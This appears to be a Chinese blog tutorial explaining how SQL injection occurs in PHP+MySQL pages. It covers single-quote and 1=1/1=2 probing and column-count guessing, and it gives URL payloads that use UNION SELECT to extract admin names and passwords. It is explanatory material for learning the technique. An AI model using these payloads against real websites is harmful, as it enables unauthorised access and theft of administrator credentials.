天天看點

PHP+MYSQL注入的發生

當articleid 變量取值為123 時,我們假設一下在伺服器中會有怎樣的代碼運作?

1. SELECT * /* Select 函數讀取資訊*/

2. FROM infotable /* 從products 資料表中*/

3. WHERE id='123';/* false condition 滿足條件時*/

/*XXXX*/是注釋符号,當程式運作時,/**/和中間的部分計算機會自動忽略。

實際系統執行的代碼是這樣的:

1. select * from infotable where id = '123';

在這裡,id 的取值是通過url 取值得來的“123”,那麼如果我這樣呢:

info.php?articleid=123'

後面多了一個單引号,那麼比較一下系統原本執行的語句有什麼變化:

1. select * from infotable where id = 123;

2. select * from infotable where id = 123';

最後多了一個引号,文法錯誤。

注:計算機程式設計得不到想要的結果,錯誤分兩種,一種是文法錯誤,一種是邏輯錯誤。後

面認真閱讀你會慢慢明白差別開的

這也就是為什麼判斷是否為注入點的第一步要在網址後面加單引号的原因了(加單引号出

錯不能确定網址為注入點,隻是判斷的一個步驟而已

于是後面的1=1 和1=2 的目的也就清楚了

2. select * from infotable where id = 123 and 1 = 1;//事實上1 就是1,是以應該

傳回正常頁面

3. select * from infotable where id = 123 and 1 = 2;//事實上,計算機中1 永遠也

不等于2,發生邏輯錯誤,是以傳回錯誤頁面

手工注入通常會使用聯合查詢函數union 下面講一下union 的用法

union 注入的第一步通常是猜字段數

假設注入點是新聞頁面,那麼頁面中執行的SQL 語句就是:

1. select title,date,author,news,comm from news where id = 12;

當你進行union 注入的時候,union 前面的語句和union 後面的語句,都是一個完整的SQL

語句,是可以單獨執行的語句

但是,必須保證前後的字段數相同,例如上面這個語句

2. select title,date,author,news,comm from news where id = 12 union select

name,password,3,4,5 from admin;

3. //news 是新聞表段,admin 是管理者資訊表段

4. //管理者資訊表段明顯沒有union 前面news 表段裡面包含的字段數多是以使用數

字3 到5 替代,數字無固定格式,可以使1 2 和3,也可以是111111 和4435435

或者幹脆用null 空來代替

是以,上面的注入語句在實際中就是這麼構造:

1. info.php?id=12+union+select+name,password,3,4,5+from+admin

2. //SQL 注入中,加号用來代表空格的意思,因為有些浏覽器會自動将空格轉換成%20,

如果union 前面是5 個,而union 後面不是5 個,則會發生邏輯錯誤,顯示錯誤頁面。

由于程式員編寫的程式我們并不知道他在資料庫中設定了幾個字段,是以通常我們都是先進

行字段數的猜測,也就是:

1. info.php?id=12+union+select+1

2. info.php?id=12+union+select+1,2

3. info.php?id=12+union+select+1,2,3

4. info.php?id=12+union+select+1,2,3,4

5. info.php?id=12+union+select+1,2,3,4,5

6. //你也可以用order by 來猜,用法可以自己搜一下

一直這樣猜到正确頁面出來,沒有了邏輯錯誤,也就表示字段數一緻了,然後。。。後面。。。

這裡僅僅提供思路。。。

    本文轉自Tar0 51CTO部落格,原文連結:http://blog.51cto.com/tar0cissp/1254959,如需轉載請自行聯系原作者